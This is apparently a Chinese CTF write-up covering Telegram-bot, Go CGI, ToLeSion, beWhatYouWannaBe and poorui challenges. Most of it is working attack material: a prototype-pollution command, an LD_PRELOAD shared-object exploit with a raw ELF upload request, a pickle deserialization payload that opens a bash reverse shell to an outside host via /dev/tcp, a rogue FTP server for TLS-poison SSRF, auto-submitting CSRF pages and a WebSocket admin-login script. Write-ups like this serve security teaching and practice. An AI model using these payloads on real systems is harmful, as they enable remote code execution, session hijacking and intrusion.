Misc safer-telegram-bot-1 用 Telethon 写一个客户端,当 message edited 时 send callback query 即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from telethon import TelegramClient, events, functions api_id = 111111 api_hash = 'xxxx' with TelegramClient('anon' , api_id, api_hash, proxy=("socks5" , '127.0.0.1' , 7890 )) as client: @client.on(events.MessageEdited ) async def handler (event ): print ('Message' , event.id , 'changed at' , event.date, event.reply_markup) result = await client(functions.messages.GetBotCallbackAnswerRequest( peer='mukeran' , msg_id=event.id , game=False , data=event.reply_markup.rows[0 ].buttons[0 ].data )) print (result) client.run_until_disconnected()
safer-telegram-bot-2 根据提示,搜索 777000,发现是 Telegram 自带的 User,当一个 channel 在 group 中发送信息时,msg.from.id 将为 777000,所以只要将 channel link 到 group,并在 channel 中发送 /iamroot 即可(需要提前使用 safer-telegram-bot-1 的脚本获得 authorized 身份并 /authorize 777000) safe.js 中使用 my_chat_member 阻止 bot 被加入 group
addkw 中对 user1 的 keywordMap 赋值存在原型链污染,发送(这里是带样式的,因为 Telegram 官方客户端支持 md,所以直接输入 __proto__ 会变成 proto,无法触发反序列化,此时在斜体的基础上再加 __ 就可以了)
1 /addkw __proto__?.chat_member test
可污染 Object.__proto__.chat_member 为 () => ‘test’
node-telegram-bot-api 源码 processUpdate 中,对 message 的分发顺序为先处理 chat_member,再处理 my_chat_member,如果污染 chat_member,则永远不会触发 my_chat_member
污染后就一通操作获取 flag 了!
Web Gogogo
https://unsafe.sh/go-99590.html
exp.so:
1 2 3 4 5 6 7 8 9 10 11 #include <unistd.h> #include <stdlib.h> static void before_main (void ) __attribute__ ((constructor)) ;static void before_main (void ) { unsetenv("LD_PRELOAD" ); system("cat /flag" ); }
用 Burp Intruder 爆破 /tmp/tmp-.tmp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 POST /cgi-bin/hello HTTP/1.1 Host : 123.60.84.229:10218User-Agent : curl/7.79.1Accept : */*Content-Length : 14735Content-Type : multipart/form-data; boundary=------------------------d3b3b08f3409d64eConnection : close--------------------------d3b3b08f3409d64e Content-Disposition: form-data; name="data" ; filename="exp.so" Content-Type: application/octet-stream ELF>@X 1@8 @XXii ÜÜ.>>(0 . > >ÀÀ¨¨¨ ÈÈÈ$$ Såtd¨¨¨ Påtd ,,QåtdRåtd.>>øøGNUÀGNU0 J³®¬ÔaZADL&à ^ U, F"__gmon_start___ITM_deregisterTMCloneTable_ITM_registerTMCloneTable__cxa_finalizeunsetenvsystemlibc.so.6GLIBC_2.2.5eui o>0>9>ð(@(@à?è?ð?ø?@ @óúHìHÙ/H
ÀtÿÐHÄÃÿ5â/òÿ%ã/óúhòéáÿÿÿóúhòéÑÿÿÿóúòÿ%/Dóúòÿ%/Dóúòÿ%¥/DH=©/H¢/H9øtHF/H
Àt ÿàÃH=y/H5r/H)þHðHÁî?HÁøHÆHÑþtH/H
ÀtÿàfDÃóú=5/u+UH=ò.HåtH=/è9ÿÿÿèdÿÿÿÆ /]ÃÃóúéwÿÿÿóúUHåH=¸è#ÿÿÿH=·èÿÿÿ]ÃóúHìHÄÃLD_PRELOADcat /flag;,ðÿÿH8ðÿÿpHðÿÿ!ñÿÿ zRx$¸ïÿÿ0FJ w?:*3$" DÀïÿÿ\¸ïÿÿ tyðÿÿZ09ðe \>>õþÿoð¸ { @0 (hÀ þÿÿoHÿÿÿoðÿÿo4ùÿÿo >0 @(@GCC : (Ubuntu 9.4 .0 -1ubuntu1~20.04 .1 ) 9.4 .0 .shstrtab.note.gnu.property.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.plt.got.plt.sec.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.dynamic.got.plt.data.bss.comment¨¨ ÈÈ$1 öÿÿoðð; ¨C¸¸{Kÿÿÿo44XþÿÿoHH ghhÀqB((0 {v 0 PP`` Ü\\ § ,µH H ¿>.Ë>.× > .À
à?à / à@0 (é(@(0 ï0 @00 ô000 +[0 ý --------------------------d3b3b08f3409d64e Content-Disposition: form-data; name="LD_PRELOAD" /tmp/tmp-1 .tmp --------------------------d3b3b08f3409d64e--
ToLeSion 初步推断是用 curl ftp pasv 往 memcached flask_session 写 pickle 字节码反序列化 RCE
https://unsafe.sh/go-73513.html
TLS Poisonhttps://github.com/jmdx/TLS-poison
生成 Pickle 字节码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import pickleimport os class RCE : def __reduce__ (self ): cmd = ('/bin/bash -c \'/bin/bash -i >& /dev/tcp/xxx.xx.xx.xxx/11001 0>&1\'' ) return os.system, (cmd,) if __name__ == '__main__' : pickled = pickle.dumps(RCE()) print ('Payload:' ) payload = '\r\nset actfSession:mukeran_rce 0 0 {}\r\n' .format (len (pickled)).encode()+pickled+b'\r\n' print (payload) open ('a' , 'wb' ).write(payload)
FTP Server:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from socket import *import ssl sock = socket(AF_INET, SOCK_STREAM) sock.bind(('0.0.0.0' , 12222 )) sock.listen(1 ) conn, addr = sock.accept() print ('[+] Connected from {}' .format (addr))conn.send(b'220 Welcome\n' ) print ('[*] Received {}' .format (conn.recv(100 )))conn.send(b'331 Please specify the password.\n' ) print ('[*] Received {}' .format (conn.recv(100 )))conn.send(b'220 Login successful.\n' ) print ('[*] Received {}' .format (conn.recv(100 )))conn.send(b'200 ok.\n' ) print ('[*] Received {}' .format (conn.recv(100 )))conn.send(b'200 ok.\n' ) print ('[*] Received {}' .format (conn.recv(100 )))conn.send(b'212 /\n' ) print ('[*] Received {}' .format (conn.recv(100 )))conn.send(b'150 ok\n' ) print ('[*] Received {}' .format (conn.recv(100 )))conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,43,192)\n' ) print ('[*] Received {}' .format (conn.recv(100 )))conn.send(b'200 ok.\n' ) print ('[*] Received {}' .format (conn.recv(100 )))conn.send(b'125 10\n' ) print ('[*] Received {}' .format (conn.recv(100 )))conn.send(b'150 Opening.\n' ) print ('[*] Received {}' .format (conn.recv(100 )))conn.close()
TLS-Poison 工具转发 TLS 至 FTP,自动设置 session ticket 为 redis 中设置的 payload(需要修改 redis 连接地址为 localhost,tls 证书为 letsencrypt 生成的合法证书)
1 target/debug/custom-tls -p 12001 --verbose --certs /etc/letsencrypt/live/xxx.xxx.xxx/fullchain.pem --key /etc/letsencrypt/live/xxx.xxx.xxx/privkey.pem forward 12222
Redis:
1 2 127.0.0.1:6379> set payload "\r\nset actfSession:mukeran_rce 0 0 102\r\n\x80\x04\x95[\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c@/bin/bash -c '/bin/bash -i >& /dev/tcp/xxx.xx.xx.xxx/11001 0>&1'\x94\x85\x94R\x94.\r\n" OK
写入 memcached:http://123.60.131.135:10023/?url=ftps://xxx.xxx.xxx/1.txt
Cookie 设置为 mukeran_rce 反弹 shell:
beWhatYouWannaBe Part1: form csrf Part2: window.opener
flag1.php:(需要把 php.ini 中的 precision 设置为 16,以与 NodeJS 精度匹配)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta http-equiv ="X-UA-Compatible" content ="IE=edge" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > Document</title > </head > <?php $csrftoken = hash('sha256', sin(floor(time()))); ?> <body > <form method ="post" action ="http://localhost:8000/beAdmin" > <input type ="text" name ="username" value ="mukeran" > <input type ="text" name ="csrftoken" value ="<?=$csrftoken?>" > <input type ="submit" id ="submit" > </form > <script > window .onload = function ( ) { document .getElementById ('submit' ).click () } </script > </body > </html >
flag1:
flag2-part1.html:
1 2 3 4 5 6 7 8 9 10 11 <!DOCTYPE html > <head > <meta charset ="UTF-8" > <title > Parent</title > <script > window .open ('/flag2-part2.html' ) </script > </head > </html >
flag2-part2.html:(用 setInterval 不断设置,因为不知道新页面什么时候加载好)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta http-equiv ="X-UA-Compatible" content ="IE=edge" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > Child</title > </head > <body > <script > setInterval (() => { window .opener .window .fff = { lll : { aaa : { ggg : { value : 'this_is_what_i_want' } } } } }, 1 ) </script > </body > </html >
flag2:
poorui 可能蹭车? 登录尝试 admin 发现完全可以登录 在 http://124.71.181.238:8081/chat 页面用 console 用 ws 登录并 getflag,直接拿到 flag…
1 2 3 const s = new WebSocket ('ws://124.71.181.238:8081' )s.onmessage = (data ) => { console .log (data) } s.onopen = () => { s.send (JSON .stringify ({api : 'login' , username : 'admin' })); s.send (JSON .stringify ({api : 'getflag' })) }